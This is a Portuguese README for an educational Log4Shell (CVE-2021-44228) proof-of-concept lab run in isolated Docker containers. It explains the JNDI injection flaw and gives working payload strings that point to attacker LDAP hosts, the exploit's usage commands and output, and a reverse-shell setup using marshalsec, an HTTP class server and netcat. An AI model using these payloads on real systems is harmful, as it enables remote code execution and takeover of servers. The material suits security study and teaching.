Share
## https://sploitus.com/exploit?id=209BCE86-4494-593D-903D-99479F7C7129
# CVE-2021-44228 — Log4Shell PoC Lab

> **DISCLAIMER**
>
> Este laboratório foi criado **exclusivamente para fins educacionais e de pesquisa em segurança**.
> Todo o tráfego ocorre dentro de uma rede Docker isolada.
> **Não utilize este material em sistemas reais ou sem autorização explícita.**
> O uso indevido pode ser crime. Use com responsabilidade.

---

## O que é a CVE-2021-44228?

A **Log4Shell** é uma vulnerabilidade crítica (CVSS 10.0) descoberta em dezembro de 2021 na biblioteca de logging **Apache Log4j 2**, amplamente usada em aplicações Java.

### Como a vulnerabilidade ocorre

O Log4j possui um recurso de interpolação de expressões: ao registrar uma mensagem, ele avalia strings no formato `${...}`. Por exemplo, `${java:version}` é substituído pela versão do Java em tempo de execução.

O problema está no suporte ao protocolo **JNDI** (Java Naming and Directory Interface). Quando o Log4j encontra uma expressão como:

```
${jndi:ldap://atacante.com/exploit}
```

ele instrui a JVM a fazer uma **consulta LDAP ao servidor do atacante**. O servidor responde com uma referência a uma classe Java remota — e a JVM **baixa e executa essa classe**, resultando em **Remote Code Execution (RCE)**.

O vetor de ataque é simples: qualquer campo que seja logado pelo servidor (headers HTTP, campos de formulário, cookies, etc.) pode ser o ponto de entrada do payload.

### Versões afetadas

- Log4j `2.0-beta9` até `2.14.1`
- Corrigido na versão `2.15.0` (e definitivamente em `2.17.0`)

---

## Ambiente Vulnerável

O lab simula uma aplicação Java real usando as versões vulneráveis.

| Componente | Versão | Por quê é vulnerável |
|---|---|---|
| Apache Log4j | `2.14.1` | Avalia `${jndi:...}` sem restrições |
| JDK | `1.8.0_181` | Anterior ao patch 8u191 que define `trustURLCodebase=false` |
| Spring Boot | `2.5.6` | Apenas o framework web; a vuln é do Log4j |

### Endpoint vulnerável

```
GET http://localhost:8080/log
```

Os seguintes headers são logados diretamente pelo Log4j — qualquer um deles pode ser o vetor de injeção:

- `X-Api-Version`
- `User-Agent`
- `X-Auth-Token`

### Infraestrutura do atacante (container `attacker`)

| Serviço | Porta | Função |
|---|---|---|
| marshalsec (LDAP) | `1389` | Recebe o lookup JNDI e redireciona para o HTTP server |
| Python HTTP server | `8888` | Serve o `Exploit.class` para a JVM da vítima |
| netcat listener | `9001` | Recebe a conexão do reverse shell |

---

## Como usar o exploit

### Pré-requisitos

- Docker e Docker Compose instalados
- Node.js instalado (para o exploit)

### 1. Subir o ambiente completo

```bash
docker-compose up --build
```

Aguarde até ver nos logs:
```
[*] Waiting for reverse shell on :9001 ...
Started Application in X seconds
```

### 2. Disparar o exploit

Em outro terminal, rode o exploit Node.js:

```bash
node exploit/exploit.js
```

Saída esperada:
```
[*] CVE-2021-44228 — Log4Shell PoC
[*] Target  : http://localhost:8080/log
[*] Header  : X-Api-Version
[*] Payload : ${jndi:ldap://attacker:1389/Exploit}

[+] Response : 200 OK
[+] Body     : logged

[+] Payload delivered — check the attacker nc listener on port 9001
```

### 3. Verificar a execução

Observe o terminal onde o `docker-compose` está rodando. Nos logs do container `attacker` você verá a conexão do reverse shell chegando na porta 9001.

Para confirmar o `touch /tmp/pwned` dentro da app vulnerável:

```bash
docker exec -it log4j-cve-2021-44228-vulnerable-app-1 ls /tmp/pwned
```

### Argumentos customizados (opcionais)

```bash
# node exploit/exploit.js [target] [ldapHost] [ldapPort] [className] [header]
node exploit/exploit.js http://localhost:8080/log attacker 1389 Exploit "User-Agent"
```

---

By Guaxinim | Cyber Security Research